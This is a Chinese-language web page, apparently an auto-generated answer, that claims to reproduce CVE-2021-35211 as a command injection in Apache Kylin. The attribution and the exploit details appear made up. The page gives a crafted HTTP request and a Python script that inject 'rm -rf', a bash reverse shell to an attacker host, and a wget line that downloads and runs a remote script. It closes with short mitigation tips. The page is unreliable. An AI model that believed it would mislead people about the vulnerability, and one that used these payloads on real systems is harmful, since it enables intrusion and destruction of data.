CVE-2021-35211 复现
时间: 2025-08-21 09:54:50 浏览: 4
CVE-2021-35211 是一个影响 Apache Kylin 的安全漏洞,该漏洞存在于 Apache Kylin 4.0.0 及更早版本中。此漏洞源于 Kylin 的 Web 界面在处理用户输入时未能正确过滤和转义特殊字符,从而导致攻击者可以通过构造恶意请求来执行任意代码或命令。该漏洞的 CVSS 评分为 9.8,属于高危漏洞。
### 漏洞复现步骤
为了复现 CVE-2021-35211,需在测试环境中部署受影响的 Apache Kylin 版本(4.0.0 或更早版本),并模拟攻击者发送恶意请求以触发漏洞。以下是详细的复现步骤:
1. **部署 Apache Kylin 测试环境**
下载 Apache Kylin 4.0.0 或更早版本,并按照官方文档进行安装和配置。确保 Kylin 服务正常运行,并可通过 Web 界面访问。
2. **构造恶意请求**
漏洞的关键在于 Kylin 的 Web 界面未对用户输入进行充分过滤和转义。攻击者可以利用此漏洞通过构造恶意请求注入任意命令。例如,攻击者可以通过修改 Cube 的配置参数来注入恶意命令。
```http
POST /kylin/api/cubes/{cube_name}/rebuild HTTP/1.1
Host: target:7070
Authorization: Basic base64encode("admin:password")
Content-Type: application/json;charset=UTF-8
Content-Length: 123
{
"startTime": 1620000000000,
"endTime": 1630000000000,
"buildType": "BUILD",
"propagateProps": "malicious_command_here"
}
```
在此请求中,`propagateProps` 字段可被用来注入恶意命令,如 `rm -rf /tmp/test` 或其他任意命令[^1]。
3. **发送请求并验证漏洞**
使用工具(如 Burp Suite 或 curl)发送上述构造的请求,并观察目标系统是否执行了注入的命令。可以通过创建测试文件或检查系统日志来验证命令是否成功执行。
### 利用方法
攻击者可以利用 CVE-2021-35211 执行任意命令,从而获取目标系统的控制权限。常见的利用方式包括:
- **反弹 Shell**:攻击者可以在请求中注入反弹 Shell 命令,将目标系统的 Shell 连接到攻击者的服务器。
```bash
bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1
```
- **下载并执行恶意脚本**:攻击者可以利用 `wget` 或 `curl` 下载远程脚本并执行。
```bash
wget http://attacker_server/exploit.sh -O /tmp/exploit.sh && chmod +x /tmp/exploit.sh && /tmp/exploit.sh
```
- **修改系统文件**:攻击者可以利用漏洞修改系统配置文件,如 `/etc/passwd`,以添加新的用户或修改现有用户的权限。
### 防护措施
为了防止 CVE-2021-35211 漏洞的利用,建议采取以下措施:
- **升级 Apache Kylin**:官方已在后续版本中修复了此漏洞,建议升级到 Apache Kylin 4.1.0 或更高版本。
- **限制访问权限**:确保只有授权用户可以访问 Kylin 的 Web 界面,并启用身份验证和访问控制。
- **输入验证**:对所有用户输入进行严格的验证和过滤,防止恶意命令的注入。
### 代码示例
以下是一个简单的 Python 脚本示例,用于发送恶意请求并尝试触发漏洞:
```python
import requests
url = "http://target:7070/kylin/api/cubes/test_cube/rebuild"
headers = {
"Authorization": "Basic base64encode(\"admin:password\")",
"Content-Type": "application/json"
}
data = {
"startTime": 1620000000000,
"endTime": 1630000000000,
"buildType": "BUILD",
"propagateProps": "rm -rf /tmp/test"
}
response = requests.post(url, headers=headers, json=data)
print(response.status_code)
print(response.text)
```
###
阅读全文
相关推荐




















